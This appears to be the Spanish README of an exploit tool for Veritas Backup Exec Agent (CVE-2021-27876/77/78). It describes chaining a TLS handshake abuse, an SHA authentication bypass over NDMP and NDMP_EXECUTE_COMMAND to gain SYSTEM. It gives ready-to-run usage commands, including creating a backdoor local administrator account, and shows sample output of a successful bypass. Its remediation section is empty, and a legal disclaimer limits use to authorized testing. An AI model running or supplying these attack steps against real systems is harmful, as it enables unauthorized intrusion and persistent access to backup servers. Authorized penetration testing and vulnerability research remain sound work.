
Exploit de RCE sin autenticación para el Agente de Veritas Backup Exec (CVE-2021-27876/77/78): evasión de autenticación SHA hasta SYSTEM vía NDMP
Exploit de RCE sin autenticación para el agente de Veritas Backup Exec (CVE-2021-27876/77/78) — omisión de autenticación SHA hacia SYSTEM mediante NDMP
| CVE | Descripción | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | Omisión de autenticación mediante manipulación del hash SHA en el protocolo NDMP | 9.8 Crítico |
| CVE-2021-27877 | Lectura arbitraria de archivos sin autenticación mediante NDMP | 9.8 Crítico |
| CVE-2021-27878 | Ejecución arbitraria de comandos del sistema operativo mediante NDMP_EXECUTE_COMMAND | 9.8 Crítico |
Aviso: Veritas VTS21-003
Corregido en: Backup Exec 21.3 y versiones posteriores.
El agente de Veritas Backup Exec escucha en TCP/10000 y utiliza el protocolo NDMP (Network Data Management Protocol). El exploit encadena tres debilidades:
Abuso del handshake TLS — El agente solicita un CSR durante su negociación TLS personalizada. El exploit genera una CA local, firma el CSR del agente y completa el handshake, elevando el socket a TLS sin ningún secreto precompartido.
Omisión de autenticación SHA (CVE-2021-27876) — La autenticación SHA de NDMP calcula SHA256('\x00' * 64 + challenge). Debido a que la contraseña se antepone como un bloque de 64 bytes relleno con ceros y no se realiza ninguna validación
del material de la contraseña en el servidor, cualquier cliente puede autenticarse como Administrator sin conocer la contraseña.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Una vez autenticado, el tipo de mensaje NDMP_EXECUTE_COMMAND ejecuta comandos arbitrarios del sistema operativo como NT AUTHORITY\SYSTEM. La salida se redirige a
C:\Windows\Temp\_be_out.txt y se lee de vuelta mediante NDMP_FILE_READ.
Python 3.8+
En las distribuciones modernas, Python está marcado como "gestionado externamente" (PEP 668), por lo que instale la dependencia en un entorno virtual:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
Ejemplos:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
Remediación
Referencias
Aviso Legal
Esta herramienta se proporciona únicamente para pruebas de penetración autorizadas e investigación de seguridad. Su uso contra sistemas sin permiso explícito por escrito es ilegal. El autor no acepta ninguna responsabilidad por un uso indebido.